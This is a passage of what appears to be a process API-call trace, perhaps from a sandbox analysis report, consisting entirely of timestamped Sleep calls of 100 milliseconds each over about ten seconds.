[0278.394] Sleep (dwMilliseconds=0x64) [0278.409] Sleep (dwMilliseconds=0x64) [0278.425] Sleep (dwMilliseconds=0x64) [0278.440] Sleep (dwMilliseconds=0x64) [0278.456] Sleep (dwMilliseconds=0x64) [0278.472] Sleep (dwMilliseconds=0x64) [0278.487] Sleep (dwMilliseconds=0x64) [0278.503] Sleep (dwMilliseconds=0x64) [0278.519] Sleep (dwMilliseconds=0x64) [0278.534] Sleep (dwMilliseconds=0x64) [0278.550] Sleep (dwMilliseconds=0x64) [0278.565] Sleep (dwMilliseconds=0x64) [0278.590] Sleep (dwMilliseconds=0x64) [0278.596] Sleep (dwMilliseconds=0x64) [0278.616] Sleep (dwMilliseconds=0x64) [0278.628] Sleep (dwMilliseconds=0x64) [0278.643] Sleep (dwMilliseconds=0x64) [0278.659] Sleep (dwMilliseconds=0x64) [0278.675] Sleep (dwMilliseconds=0x64) [0278.691] Sleep (dwMilliseconds=0x64) [0278.706] Sleep (dwMilliseconds=0x64) [0278.721] Sleep (dwMilliseconds=0x64) [0278.737] Sleep (dwMilliseconds=0x64) [0278.753] Sleep (dwMilliseconds=0x64) [0278.770] Sleep (dwMilliseconds=0x64) [0278.784] Sleep (dwMilliseconds=0x64) [0278.799] Sleep (dwMilliseconds=0x64) [0278.815] Sleep (dwMilliseconds=0x64) [0278.830] Sleep (dwMilliseconds=0x64) [0278.846] Sleep (dwMilliseconds=0x64) [0278.862] Sleep (dwMilliseconds=0x64) [0278.877] Sleep (dwMilliseconds=0x64) [0278.897] Sleep (dwMilliseconds=0x64) [0278.908] Sleep (dwMilliseconds=0x64) [0278.924] Sleep (dwMilliseconds=0x64) [0278.946] Sleep (dwMilliseconds=0x64) [0278.956] Sleep (dwMilliseconds=0x64) [0278.971] Sleep (dwMilliseconds=0x64) [0278.987] Sleep (dwMilliseconds=0x64) [0279.002] Sleep (dwMilliseconds=0x64) [0279.018] Sleep (dwMilliseconds=0x64) [0279.033] Sleep (dwMilliseconds=0x64) [0279.049] Sleep (dwMilliseconds=0x64) [0279.064] Sleep (dwMilliseconds=0x64) [0279.082] Sleep (dwMilliseconds=0x64) [0279.096] Sleep (dwMilliseconds=0x64) [0279.111] Sleep (dwMilliseconds=0x64) [0279.127] Sleep (dwMilliseconds=0x64) [0279.142] Sleep (dwMilliseconds=0x64) [0279.158] Sleep (dwMilliseconds=0x64) [0279.174] Sleep (dwMilliseconds=0x64) [0279.189] Sleep (dwMilliseconds=0x64) [0279.205] Sleep (dwMilliseconds=0x64) [0279.234] Sleep (dwMilliseconds=0x64) [0279.236] Sleep (dwMilliseconds=0x64) [0279.252] Sleep (dwMilliseconds=0x64) [0279.267] Sleep (dwMilliseconds=0x64) [0279.283] Sleep (dwMilliseconds=0x64) [0279.299] Sleep (dwMilliseconds=0x64) [0279.314] Sleep (dwMilliseconds=0x64) [0279.330] Sleep (dwMilliseconds=0x64) [0279.358] Sleep (dwMilliseconds=0x64) [0279.361] Sleep (dwMilliseconds=0x64) [0279.376] Sleep (dwMilliseconds=0x64) [0279.392] Sleep (dwMilliseconds=0x64) [0279.411] Sleep (dwMilliseconds=0x64) [0279.423] Sleep (dwMilliseconds=0x64) [0279.440] Sleep (dwMilliseconds=0x64) [0279.455] Sleep (dwMilliseconds=0x64) [0279.470] Sleep (dwMilliseconds=0x64) [0279.486] Sleep (dwMilliseconds=0x64) [0279.501] Sleep (dwMilliseconds=0x64) [0279.517] Sleep (dwMilliseconds=0x64) [0279.533] Sleep (dwMilliseconds=0x64) [0279.548] Sleep (dwMilliseconds=0x64) [0279.567] Sleep (dwMilliseconds=0x64) [0279.579] Sleep (dwMilliseconds=0x64) [0279.595] Sleep (dwMilliseconds=0x64) [0279.611] Sleep (dwMilliseconds=0x64) [0279.626] Sleep (dwMilliseconds=0x64) [0279.642] Sleep (dwMilliseconds=0x64) [0279.657] Sleep (dwMilliseconds=0x64) [0279.673] Sleep (dwMilliseconds=0x64) [0279.688] Sleep (dwMilliseconds=0x64) [0279.704] Sleep (dwMilliseconds=0x64) [0279.720] Sleep (dwMilliseconds=0x64) [0279.735] Sleep (dwMilliseconds=0x64) [0279.751] Sleep (dwMilliseconds=0x64) [0279.767] Sleep (dwMilliseconds=0x64) [0279.782] Sleep (dwMilliseconds=0x64) [0279.798] Sleep (dwMilliseconds=0x64) [0279.814] Sleep (dwMilliseconds=0x64) [0279.829] Sleep (dwMilliseconds=0x64) [0279.844] Sleep (dwMilliseconds=0x64) [0279.860] Sleep (dwMilliseconds=0x64) [0279.876] Sleep (dwMilliseconds=0x64) [0279.891] Sleep (dwMilliseconds=0x64) [0279.910] Sleep (dwMilliseconds=0x64) [0279.923] Sleep (dwMilliseconds=0x64) [0279.938] Sleep (dwMilliseconds=0x64) [0279.959] Sleep (dwMilliseconds=0x64) [0279.969] Sleep (dwMilliseconds=0x64) [0279.985] Sleep (dwMilliseconds=0x64) [0280.001] Sleep (dwMilliseconds=0x64) [0280.016] Sleep (dwMilliseconds=0x64) [0280.032] Sleep (dwMilliseconds=0x64) [0280.047] Sleep (dwMilliseconds=0x64) [0280.064] Sleep (dwMilliseconds=0x64) [0280.078] Sleep (dwMilliseconds=0x64) [0280.094] Sleep (dwMilliseconds=0x64) [0280.110] Sleep (dwMilliseconds=0x64) [0280.125] Sleep (dwMilliseconds=0x64) [0280.142] Sleep (dwMilliseconds=0x64) [0280.156] Sleep (dwMilliseconds=0x64) [0280.172] Sleep (dwMilliseconds=0x64) [0280.188] Sleep (dwMilliseconds=0x64) [0280.203] Sleep (dwMilliseconds=0x64) [0280.219] Sleep (dwMilliseconds=0x64) [0280.247] Sleep (dwMilliseconds=0x64) [0280.254] Sleep (dwMilliseconds=0x64) [0280.266] Sleep (dwMilliseconds=0x64) [0280.281] Sleep (dwMilliseconds=0x64) [0280.297] Sleep (dwMilliseconds=0x64) [0280.312] Sleep (dwMilliseconds=0x64) [0280.328] Sleep (dwMilliseconds=0x64) [0280.354] Sleep (dwMilliseconds=0x64) [0280.359] Sleep (dwMilliseconds=0x64) [0280.375] Sleep (dwMilliseconds=0x64) [0280.390] Sleep (dwMilliseconds=0x64) [0280.406] Sleep (dwMilliseconds=0x64) [0280.424] Sleep (dwMilliseconds=0x64) [0280.437] Sleep (dwMilliseconds=0x64) [0280.453] Sleep (dwMilliseconds=0x64) [0280.469] Sleep (dwMilliseconds=0x64) [0280.484] Sleep (dwMilliseconds=0x64) [0280.500] Sleep (dwMilliseconds=0x64) [0280.515] Sleep (dwMilliseconds=0x64) [0280.531] Sleep (dwMilliseconds=0x64) [0280.547] Sleep (dwMilliseconds=0x64) [0280.562] Sleep (dwMilliseconds=0x64) [0280.580] Sleep (dwMilliseconds=0x64) [0280.593] Sleep (dwMilliseconds=0x64) [0280.609] Sleep (dwMilliseconds=0x64) [0280.624] Sleep (dwMilliseconds=0x64) [0280.640] Sleep (dwMilliseconds=0x64) [0280.656] Sleep (dwMilliseconds=0x64) [0280.672] Sleep (dwMilliseconds=0x64) [0280.687] Sleep (dwMilliseconds=0x64) [0280.702] Sleep (dwMilliseconds=0x64) [0280.718] Sleep (dwMilliseconds=0x64) [0280.734] Sleep (dwMilliseconds=0x64) [0280.749] Sleep (dwMilliseconds=0x64) [0280.765] Sleep (dwMilliseconds=0x64) [0280.780] Sleep (dwMilliseconds=0x64) [0280.800] Sleep (dwMilliseconds=0x64) [0280.812] Sleep (dwMilliseconds=0x64) [0280.827] Sleep (dwMilliseconds=0x64) [0280.843] Sleep (dwMilliseconds=0x64) [0280.858] Sleep (dwMilliseconds=0x64) [0280.874] Sleep (dwMilliseconds=0x64) [0280.889] Sleep (dwMilliseconds=0x64) [0280.905] Sleep (dwMilliseconds=0x64) [0280.923] Sleep (dwMilliseconds=0x64) [0280.936] Sleep (dwMilliseconds=0x64) [0280.952] Sleep (dwMilliseconds=0x64) [0280.967] Sleep (dwMilliseconds=0x64) [0280.983] Sleep (dwMilliseconds=0x64) [0280.999] Sleep (dwMilliseconds=0x64) [0281.014] Sleep (dwMilliseconds=0x64) [0281.030] Sleep (dwMilliseconds=0x64) [0281.045] Sleep (dwMilliseconds=0x64) [0281.061] Sleep (dwMilliseconds=0x64) [0281.077] Sleep (dwMilliseconds=0x64) [0281.092] Sleep (dwMilliseconds=0x64) [0281.108] Sleep (dwMilliseconds=0x64) [0281.123] Sleep (dwMilliseconds=0x64) [0281.139] Sleep (dwMilliseconds=0x64) [0281.155] Sleep (dwMilliseconds=0x64) [0281.170] Sleep (dwMilliseconds=0x64) [0281.187] Sleep (dwMilliseconds=0x64) [0281.202] Sleep (dwMilliseconds=0x64) [0281.217] Sleep (dwMilliseconds=0x64) [0281.233] Sleep (dwMilliseconds=0x64) [0281.258] Sleep (dwMilliseconds=0x64) [0281.264] Sleep (dwMilliseconds=0x64) [0281.279] Sleep (dwMilliseconds=0x64) [0281.295] Sleep (dwMilliseconds=0x64) [0281.311] Sleep (dwMilliseconds=0x64) [0281.329] Sleep (dwMilliseconds=0x64) [0281.342] Sleep (dwMilliseconds=0x64) [0281.369] Sleep (dwMilliseconds=0x64) [0281.373] Sleep (dwMilliseconds=0x64) [0281.389] Sleep (dwMilliseconds=0x64) [0281.404] Sleep (dwMilliseconds=0x64) [0281.420] Sleep (dwMilliseconds=0x64) [0281.436] Sleep (dwMilliseconds=0x64) [0281.451] Sleep (dwMilliseconds=0x64) [0281.467] Sleep (dwMilliseconds=0x64) [0281.483] Sleep (dwMilliseconds=0x64) [0281.498] Sleep (dwMilliseconds=0x64) [0281.514] Sleep (dwMilliseconds=0x64) [0281.530] Sleep (dwMilliseconds=0x64) [0281.545] Sleep (dwMilliseconds=0x64) [0281.560] Sleep (dwMilliseconds=0x64) [0281.576] Sleep (dwMilliseconds=0x64) [0281.592] Sleep (dwMilliseconds=0x64) [0281.610] Sleep (dwMilliseconds=0x64) [0281.623] Sleep (dwMilliseconds=0x64) [0281.639] Sleep (dwMilliseconds=0x64) [0281.654] Sleep (dwMilliseconds=0x64) [0281.670] Sleep (dwMilliseconds=0x64) [0281.685] Sleep (dwMilliseconds=0x64) [0281.701] Sleep (dwMilliseconds=0x64) [0281.717] Sleep (dwMilliseconds=0x64) [0281.733] Sleep (dwMilliseconds=0x64) [0281.748] Sleep (dwMilliseconds=0x64) [0281.763] Sleep (dwMilliseconds=0x64) [0281.779] Sleep (dwMilliseconds=0x64) [0281.795] Sleep (dwMilliseconds=0x64) [0281.810] Sleep (dwMilliseconds=0x64) [0281.826] Sleep (dwMilliseconds=0x64) [0281.851] Sleep (dwMilliseconds=0x64) [0281.857] Sleep (dwMilliseconds=0x64) [0281.872] Sleep (dwMilliseconds=0x64) [0281.888] Sleep (dwMilliseconds=0x64) [0281.904] Sleep (dwMilliseconds=0x64) [0281.919] Sleep (dwMilliseconds=0x64) [0281.935] Sleep (dwMilliseconds=0x64) [0281.959] Sleep (dwMilliseconds=0x64) [0281.968] Sleep (dwMilliseconds=0x64) [0281.982] Sleep (dwMilliseconds=0x64) [0281.998] Sleep (dwMilliseconds=0x64) [0282.013] Sleep (dwMilliseconds=0x64) [0282.029] Sleep (dwMilliseconds=0x64) [0282.044] Sleep (dwMilliseconds=0x64) [0282.060] Sleep (dwMilliseconds=0x64) [0282.075] Sleep (dwMilliseconds=0x64) [0282.091] Sleep (dwMilliseconds=0x64) [0282.107] Sleep (dwMilliseconds=0x64) [0282.122] Sleep (dwMilliseconds=0x64) [0282.138] Sleep (dwMilliseconds=0x64) [0282.153] Sleep (dwMilliseconds=0x64) [0282.170] Sleep (dwMilliseconds=0x64) [0282.184] Sleep (dwMilliseconds=0x64) [0282.200] Sleep (dwMilliseconds=0x64) [0282.216] Sleep (dwMilliseconds=0x64) [0282.233] Sleep (dwMilliseconds=0x64) [0282.259] Sleep (dwMilliseconds=0x64) [0282.263] Sleep (dwMilliseconds=0x64) [0282.280] Sleep (dwMilliseconds=0x64) [0282.294] Sleep (dwMilliseconds=0x64) [0282.309] Sleep (dwMilliseconds=0x64) [0282.325] Sleep (dwMilliseconds=0x64) [0282.340] Sleep (dwMilliseconds=0x64) [0282.373] Sleep (dwMilliseconds=0x64) [0282.387] Sleep (dwMilliseconds=0x64) [0282.403] Sleep (dwMilliseconds=0x64) [0282.418] Sleep (dwMilliseconds=0x64) [0282.434] Sleep (dwMilliseconds=0x64) [0282.450] Sleep (dwMilliseconds=0x64) [0282.465] Sleep (dwMilliseconds=0x64) [0282.481] Sleep (dwMilliseconds=0x64) [0282.497] Sleep (dwMilliseconds=0x64) [0282.512] Sleep (dwMilliseconds=0x64) [0282.528] Sleep (dwMilliseconds=0x64) [0282.543] Sleep (dwMilliseconds=0x64) [0282.559] Sleep (dwMilliseconds=0x64) [0282.577] Sleep (dwMilliseconds=0x64) [0282.590] Sleep (dwMilliseconds=0x64) [0282.606] Sleep (dwMilliseconds=0x64) [0282.621] Sleep (dwMilliseconds=0x64) [0282.637] Sleep (dwMilliseconds=0x64) [0282.652] Sleep (dwMilliseconds=0x64) [0282.668] Sleep (dwMilliseconds=0x64) [0282.686] Sleep (dwMilliseconds=0x64) [0282.699] Sleep (dwMilliseconds=0x64) [0282.715] Sleep (dwMilliseconds=0x64) [0282.730] Sleep (dwMilliseconds=0x64) [0282.746] Sleep (dwMilliseconds=0x64) [0282.763] Sleep (dwMilliseconds=0x64) [0282.777] Sleep (dwMilliseconds=0x64) [0282.794] Sleep (dwMilliseconds=0x64) [0282.809] Sleep (dwMilliseconds=0x64) [0282.824] Sleep (dwMilliseconds=0x64) [0282.840] Sleep (dwMilliseconds=0x64) [0282.855] Sleep (dwMilliseconds=0x64) [0282.871] Sleep (dwMilliseconds=0x64) [0282.887] Sleep (dwMilliseconds=0x64) [0282.902] Sleep (dwMilliseconds=0x64) [0282.918] Sleep (dwMilliseconds=0x64) [0282.934] Sleep (dwMilliseconds=0x64) [0282.949] Sleep (dwMilliseconds=0x64) [0282.964] Sleep (dwMilliseconds=0x64) [0282.980] Sleep (dwMilliseconds=0x64) [0282.996] Sleep (dwMilliseconds=0x64) [0283.011] Sleep (dwMilliseconds=0x64) [0283.027] Sleep (dwMilliseconds=0x64) [0283.043] Sleep (dwMilliseconds=0x64) [0283.058] Sleep (dwMilliseconds=0x64) [0283.074] Sleep (dwMilliseconds=0x64) [0283.089] Sleep (dwMilliseconds=0x64) [0283.105] Sleep (dwMilliseconds=0x64) [0283.121] Sleep (dwMilliseconds=0x64) [0283.136] Sleep (dwMilliseconds=0x64) [0283.152] Sleep (dwMilliseconds=0x64) [0283.167] Sleep (dwMilliseconds=0x64) [0283.183] Sleep (dwMilliseconds=0x64) [0283.199] Sleep (dwMilliseconds=0x64) [0283.214] Sleep (dwMilliseconds=0x64) [0283.230] Sleep (dwMilliseconds=0x64) [0283.245] Sleep (dwMilliseconds=0x64) [0283.274] Sleep (dwMilliseconds=0x64) [0283.276] Sleep (dwMilliseconds=0x64) [0283.292] Sleep (dwMilliseconds=0x64) [0283.308] Sleep (dwMilliseconds=0x64) [0283.324] Sleep (dwMilliseconds=0x64) [0283.339] Sleep (dwMilliseconds=0x64) [0283.362] Sleep (dwMilliseconds=0x64) [0283.370] Sleep (dwMilliseconds=0x64) [0283.386] Sleep (dwMilliseconds=0x64) [0283.401] Sleep (dwMilliseconds=0x64) [0283.417] Sleep (dwMilliseconds=0x64) [0283.433] Sleep (dwMilliseconds=0x64) [0283.448] Sleep (dwMilliseconds=0x64) [0283.465] Sleep (dwMilliseconds=0x64) [0283.479] Sleep (dwMilliseconds=0x64) [0283.495] Sleep (dwMilliseconds=0x64) [0283.510] Sleep (dwMilliseconds=0x64) [0283.526] Sleep (dwMilliseconds=0x64) [0283.542] Sleep (dwMilliseconds=0x64) [0283.559] Sleep (dwMilliseconds=0x64) [0283.573] Sleep (dwMilliseconds=0x64) [0283.592] Sleep (dwMilliseconds=0x64) [0283.604] Sleep (dwMilliseconds=0x64) [0283.620] Sleep (dwMilliseconds=0x64) [0283.635] Sleep (dwMilliseconds=0x64) [0283.651] Sleep (dwMilliseconds=0x64) [0283.666] Sleep (dwMilliseconds=0x64) [0283.682] Sleep (dwMilliseconds=0x64) [0283.698] Sleep (dwMilliseconds=0x64) [0283.714] Sleep (dwMilliseconds=0x64) [0283.729] Sleep (dwMilliseconds=0x64) [0283.745] Sleep (dwMilliseconds=0x64) [0283.760] Sleep (dwMilliseconds=0x64) [0283.776] Sleep (dwMilliseconds=0x64) [0283.791] Sleep (dwMilliseconds=0x64) [0283.807] Sleep (dwMilliseconds=0x64) [0283.823] Sleep (dwMilliseconds=0x64) [0283.838] Sleep (dwMilliseconds=0x64) [0283.854] Sleep (dwMilliseconds=0x64) [0283.869] Sleep (dwMilliseconds=0x64) [0283.885] Sleep (dwMilliseconds=0x64) [0283.900] Sleep (dwMilliseconds=0x64) [0283.916] Sleep (dwMilliseconds=0x64) [0283.936] Sleep (dwMilliseconds=0x64) [0283.948] Sleep (dwMilliseconds=0x64) [0283.963] Sleep (dwMilliseconds=0x64) [0283.978] Sleep (dwMilliseconds=0x64) [0283.994] Sleep (dwMilliseconds=0x64) [0284.010] Sleep (dwMilliseconds=0x64) [0284.025] Sleep (dwMilliseconds=0x64) [0284.042] Sleep (dwMilliseconds=0x64) [0284.057] Sleep (dwMilliseconds=0x64) [0284.072] Sleep (dwMilliseconds=0x64) [0284.088] Sleep (dwMilliseconds=0x64) [0284.103] Sleep (dwMilliseconds=0x64) [0284.120] Sleep (dwMilliseconds=0x64) [0284.135] Sleep (dwMilliseconds=0x64) [0284.150] Sleep (dwMilliseconds=0x64) [0284.166] Sleep (dwMilliseconds=0x64) [0284.183] Sleep (dwMilliseconds=0x64) [0284.197] Sleep (dwMilliseconds=0x64) [0284.212] Sleep (dwMilliseconds=0x64) [0284.228] Sleep (dwMilliseconds=0x64) [0284.244] Sleep (dwMilliseconds=0x64) [0284.259] Sleep (dwMilliseconds=0x64) [0284.276] Sleep (dwMilliseconds=0x64) [0284.290] Sleep (dwMilliseconds=0x64) [0284.307] Sleep (dwMilliseconds=0x64) [0284.322] Sleep (dwMilliseconds=0x64) [0284.337] Sleep (dwMilliseconds=0x64) [0284.360] Sleep (dwMilliseconds=0x64) [0284.368] Sleep (dwMilliseconds=0x64) [0284.384] Sleep (dwMilliseconds=0x64) [0284.400] Sleep (dwMilliseconds=0x64) [0284.415] Sleep (dwMilliseconds=0x64) [0284.431] Sleep (dwMilliseconds=0x64) [0284.447] Sleep (dwMilliseconds=0x64) [0284.462] Sleep (dwMilliseconds=0x64) [0284.478] Sleep (dwMilliseconds=0x64) [0284.493] Sleep (dwMilliseconds=0x64) [0284.509] Sleep (dwMilliseconds=0x64) [0284.524] Sleep (dwMilliseconds=0x64) [0284.540] Sleep (dwMilliseconds=0x64) [0284.556] Sleep (dwMilliseconds=0x64) [0284.571] Sleep (dwMilliseconds=0x64) [0284.587] Sleep (dwMilliseconds=0x64) [0284.603] Sleep (dwMilliseconds=0x64) [0284.618] Sleep (dwMilliseconds=0x64) [0284.634] Sleep (dwMilliseconds=0x64) [0284.649] Sleep (dwMilliseconds=0x64) [0284.665] Sleep (dwMilliseconds=0x64) [0284.681] Sleep (dwMilliseconds=0x64) [0284.699] Sleep (dwMilliseconds=0x64) [0284.712] Sleep (dwMilliseconds=0x64) [0284.727] Sleep (dwMilliseconds=0x64) [0284.743] Sleep (dwMilliseconds=0x64) [0284.758] Sleep (dwMilliseconds=0x64) [0284.775] Sleep (dwMilliseconds=0x64) [0284.790] Sleep (dwMilliseconds=0x64) [0284.805] Sleep (dwMilliseconds=0x64) [0284.821] Sleep (dwMilliseconds=0x64) [0284.836] Sleep (dwMilliseconds=0x64) [0284.854] Sleep (dwMilliseconds=0x64) [0284.868] Sleep (dwMilliseconds=0x64) [0284.883] Sleep (dwMilliseconds=0x64) [0284.899] Sleep (dwMilliseconds=0x64) [0284.914] Sleep (dwMilliseconds=0x64) [0284.931] Sleep (dwMilliseconds=0x64) [0284.946] Sleep (dwMilliseconds=0x64) [0284.961] Sleep (dwMilliseconds=0x64) [0284.981] Sleep (dwMilliseconds=0x64) [0284.993] Sleep (dwMilliseconds=0x64) [0285.008] Sleep (dwMilliseconds=0x64) [0285.024] Sleep (dwMilliseconds=0x64) [0285.039] Sleep (dwMilliseconds=0x64) [0285.056] Sleep (dwMilliseconds=0x64) [0285.070] Sleep (dwMilliseconds=0x64) [0285.096] Sleep (dwMilliseconds=0x64) [0285.102] Sleep (dwMilliseconds=0x64) [0285.118] Sleep (dwMilliseconds=0x64) [0285.133] Sleep (dwMilliseconds=0x64) [0285.149] Sleep (dwMilliseconds=0x64) [0285.165] Sleep (dwMilliseconds=0x64) [0285.180] Sleep (dwMilliseconds=0x64) [0285.195] Sleep (dwMilliseconds=0x64) [0285.211] Sleep (dwMilliseconds=0x64) [0285.227] Sleep (dwMilliseconds=0x64) [0285.242] Sleep (dwMilliseconds=0x64) [0285.258] Sleep (dwMilliseconds=0x64) [0285.286] Sleep (dwMilliseconds=0x64) [0285.289] Sleep (dwMilliseconds=0x64) [0285.306] Sleep (dwMilliseconds=0x64) [0285.320] Sleep (dwMilliseconds=0x64) [0285.336] Sleep (dwMilliseconds=0x64) [0285.358] Sleep (dwMilliseconds=0x64) [0285.367] Sleep (dwMilliseconds=0x64) [0285.382] Sleep (dwMilliseconds=0x64) [0285.398] Sleep (dwMilliseconds=0x64) [0285.414] Sleep (dwMilliseconds=0x64) [0285.429] Sleep (dwMilliseconds=0x64) [0285.445] Sleep (dwMilliseconds=0x64) [0285.461] Sleep (dwMilliseconds=0x64) [0285.476] Sleep (dwMilliseconds=0x64) [0285.492] Sleep (dwMilliseconds=0x64) [0285.507] Sleep (dwMilliseconds=0x64) [0285.523] Sleep (dwMilliseconds=0x64) [0285.538] Sleep (dwMilliseconds=0x64) [0285.554] Sleep (dwMilliseconds=0x64) [0285.570] Sleep (dwMilliseconds=0x64) [0285.585] Sleep (dwMilliseconds=0x64) [0285.601] Sleep (dwMilliseconds=0x64) [0285.617] Sleep (dwMilliseconds=0x64) [0285.632] Sleep (dwMilliseconds=0x64) [0285.648] Sleep (dwMilliseconds=0x64) [0285.663] Sleep (dwMilliseconds=0x64) [0285.679] Sleep (dwMilliseconds=0x64) [0285.694] Sleep (dwMilliseconds=0x64) [0285.710] Sleep (dwMilliseconds=0x64) [0285.726] Sleep (dwMilliseconds=0x64) [0285.741] Sleep (dwMilliseconds=0x64) [0285.757] Sleep (dwMilliseconds=0x64) [0285.774] Sleep (dwMilliseconds=0x64) [0285.788] Sleep (dwMilliseconds=0x64) [0285.804] Sleep (dwMilliseconds=0x64) [0285.819] Sleep (dwMilliseconds=0x64) [0285.835] Sleep (dwMilliseconds=0x64) [0285.854] Sleep (dwMilliseconds=0x64) [0285.866] Sleep (dwMilliseconds=0x64) [0285.882] Sleep (dwMilliseconds=0x64) [0285.897] Sleep (dwMilliseconds=0x64) [0285.913] Sleep (dwMilliseconds=0x64) [0285.929] Sleep (dwMilliseconds=0x64) [0285.945] Sleep (dwMilliseconds=0x64) [0285.960] Sleep (dwMilliseconds=0x64) [0285.975] Sleep (dwMilliseconds=0x64) [0285.992] Sleep (dwMilliseconds=0x64) [0286.007] Sleep (dwMilliseconds=0x64) [0286.022] Sleep (dwMilliseconds=0x64) [0286.038] Sleep (dwMilliseconds=0x64) [0286.053] Sleep (dwMilliseconds=0x64) [0286.070] Sleep (dwMilliseconds=0x64) [0286.084] Sleep (dwMilliseconds=0x64) [0286.100] Sleep (dwMilliseconds=0x64) [0286.116] Sleep (dwMilliseconds=0x64) [0286.131] Sleep (dwMilliseconds=0x64) [0286.147] Sleep (dwMilliseconds=0x64) [0286.163] Sleep (dwMilliseconds=0x64) [0286.178] Sleep (dwMilliseconds=0x64) [0286.194] Sleep (dwMilliseconds=0x64) [0286.209] Sleep (dwMilliseconds=0x64) [0286.225] Sleep (dwMilliseconds=0x64) [0286.240] Sleep (dwMilliseconds=0x64) [0286.256] Sleep (dwMilliseconds=0x64) [0286.272] Sleep (dwMilliseconds=0x64) [0286.300] Sleep (dwMilliseconds=0x64) [0286.304] Sleep (dwMilliseconds=0x64) [0286.318] Sleep (dwMilliseconds=0x64) [0286.334] Sleep (dwMilliseconds=0x64) [0286.358] Sleep (dwMilliseconds=0x64) [0286.365] Sleep (dwMilliseconds=0x64) [0286.381] Sleep (dwMilliseconds=0x64) [0286.396] Sleep (dwMilliseconds=0x64) [0286.412] Sleep (dwMilliseconds=0x64) [0286.428] Sleep (dwMilliseconds=0x64) [0286.443] Sleep (dwMilliseconds=0x64) [0286.459] Sleep (dwMilliseconds=0x64) [0286.475] Sleep (dwMilliseconds=0x64) [0286.490] Sleep (dwMilliseconds=0x64) [0286.506] Sleep (dwMilliseconds=0x64) [0286.522] Sleep (dwMilliseconds=0x64) [0286.537] Sleep (dwMilliseconds=0x64) [0286.553] Sleep (dwMilliseconds=0x64) [0286.568] Sleep (dwMilliseconds=0x64) [0286.584] Sleep (dwMilliseconds=0x64) [0286.599] Sleep (dwMilliseconds=0x64) [0286.615] Sleep (dwMilliseconds=0x64) [0286.631] Sleep (dwMilliseconds=0x64) [0286.646] Sleep (dwMilliseconds=0x64) [0286.662] Sleep (dwMilliseconds=0x64) [0286.677] Sleep (dwMilliseconds=0x64) [0286.697] Sleep (dwMilliseconds=0x64) [0286.708] Sleep (dwMilliseconds=0x64) [0286.724] Sleep (dwMilliseconds=0x64) [0286.740] Sleep (dwMilliseconds=0x64) [0286.755] Sleep (dwMilliseconds=0x64) [0286.772] Sleep (dwMilliseconds=0x64) [0286.787] Sleep (dwMilliseconds=0x64) [0286.802] Sleep (dwMilliseconds=0x64) [0286.818] Sleep (dwMilliseconds=0x64) [0286.833] Sleep (dwMilliseconds=0x64) [0286.852] Sleep (dwMilliseconds=0x64) [0286.865] Sleep (dwMilliseconds=0x64) [0286.880] Sleep (dwMilliseconds=0x64) [0286.896] Sleep (dwMilliseconds=0x64) [0286.911] Sleep (dwMilliseconds=0x64) [0286.927] Sleep (dwMilliseconds=0x64) [0286.942] Sleep (dwMilliseconds=0x64) [0286.959] Sleep (dwMilliseconds=0x64) [0286.978] Sleep (dwMilliseconds=0x64) [0286.989] Sleep (dwMilliseconds=0x64) [0287.005] Sleep (dwMilliseconds=0x64) [0287.022] Sleep (dwMilliseconds=0x64) [0287.036] Sleep (dwMilliseconds=0x64) [0287.052] Sleep (dwMilliseconds=0x64) [0287.067] Sleep (dwMilliseconds=0x64) [0287.083] Sleep (dwMilliseconds=0x64) [0287.098] Sleep (dwMilliseconds=0x64) [0287.114] Sleep (dwMilliseconds=0x64) [0287.130] Sleep (dwMilliseconds=0x64) [0287.145] Sleep (dwMilliseconds=0x64) [0287.162] Sleep (dwMilliseconds=0x64) [0287.177] Sleep (dwMilliseconds=0x64) [0287.192] Sleep (dwMilliseconds=0x64) [0287.208] Sleep (dwMilliseconds=0x64) [0287.225] Sleep (dwMilliseconds=0x64) [0287.239] Sleep (dwMilliseconds=0x64) [0287.254] Sleep (dwMilliseconds=0x64) [0287.270] Sleep (dwMilliseconds=0x64) [0287.286] Sleep (dwMilliseconds=0x64) [0287.314] Sleep (dwMilliseconds=0x64) [0287.317] Sleep (dwMilliseconds=0x64) [0287.332] Sleep (dwMilliseconds=0x64) [0287.356] Sleep (dwMilliseconds=0x64) [0287.364] Sleep (dwMilliseconds=0x64) [0287.379] Sleep (dwMilliseconds=0x64) [0287.395] Sleep (dwMilliseconds=0x64) [0287.410] Sleep (dwMilliseconds=0x64) [0287.426] Sleep (dwMilliseconds=0x64) [0287.442] Sleep (dwMilliseconds=0x64) [0287.458] Sleep (dwMilliseconds=0x64) [0287.473] Sleep (dwMilliseconds=0x64) [0287.489] Sleep (dwMilliseconds=0x64) [0287.504] Sleep (dwMilliseconds=0x64) [0287.520] Sleep (dwMilliseconds=0x64) [0287.535] Sleep (dwMilliseconds=0x64) [0287.551] Sleep (dwMilliseconds=0x64) [0287.566] Sleep (dwMilliseconds=0x64) [0287.583] Sleep (dwMilliseconds=0x64) [0287.598] Sleep (dwMilliseconds=0x64) [0287.614] Sleep (dwMilliseconds=0x64) [0287.629] Sleep (dwMilliseconds=0x64) [0287.644] Sleep (dwMilliseconds=0x64) [0287.660] Sleep (dwMilliseconds=0x64) [0287.676] Sleep (dwMilliseconds=0x64) [0287.691] Sleep (dwMilliseconds=0x64) [0287.707] Sleep (dwMilliseconds=0x64) [0287.723] Sleep (dwMilliseconds=0x64) [0287.740] Sleep (dwMilliseconds=0x64) [0287.754] Sleep (dwMilliseconds=0x64) [0287.769] Sleep (dwMilliseconds=0x64) [0287.785] Sleep (dwMilliseconds=0x64) [0287.801] Sleep (dwMilliseconds=0x64) [0287.816] Sleep (dwMilliseconds=0x64) [0287.832] Sleep (dwMilliseconds=0x64) [0287.847] Sleep (dwMilliseconds=0x64) [0287.863] Sleep (dwMilliseconds=0x64) [0287.878] Sleep (dwMilliseconds=0x64) [0287.896] Sleep (dwMilliseconds=0x64) [0287.910] Sleep (dwMilliseconds=0x64) [0287.925] Sleep (dwMilliseconds=0x64) [0287.941] Sleep (dwMilliseconds=0x64) [0287.957] Sleep (dwMilliseconds=0x64) [0287.972] Sleep (dwMilliseconds=0x64) [0287.988] Sleep (dwMilliseconds=0x64) [0288.003] Sleep (dwMilliseconds=0x64) [0288.022] Sleep (dwMilliseconds=0x64) [0288.034] Sleep (dwMilliseconds=0x64) [0288.050] Sleep (dwMilliseconds=0x64) [0288.066] Sleep (dwMilliseconds=0x64) [0288.081] Sleep (dwMilliseconds=0x64) [0288.098] Sleep (dwMilliseconds=0x64) [0288.113] Sleep (dwMilliseconds=0x64) [0288.128] Sleep (dwMilliseconds=0x64) [0288.144] Sleep 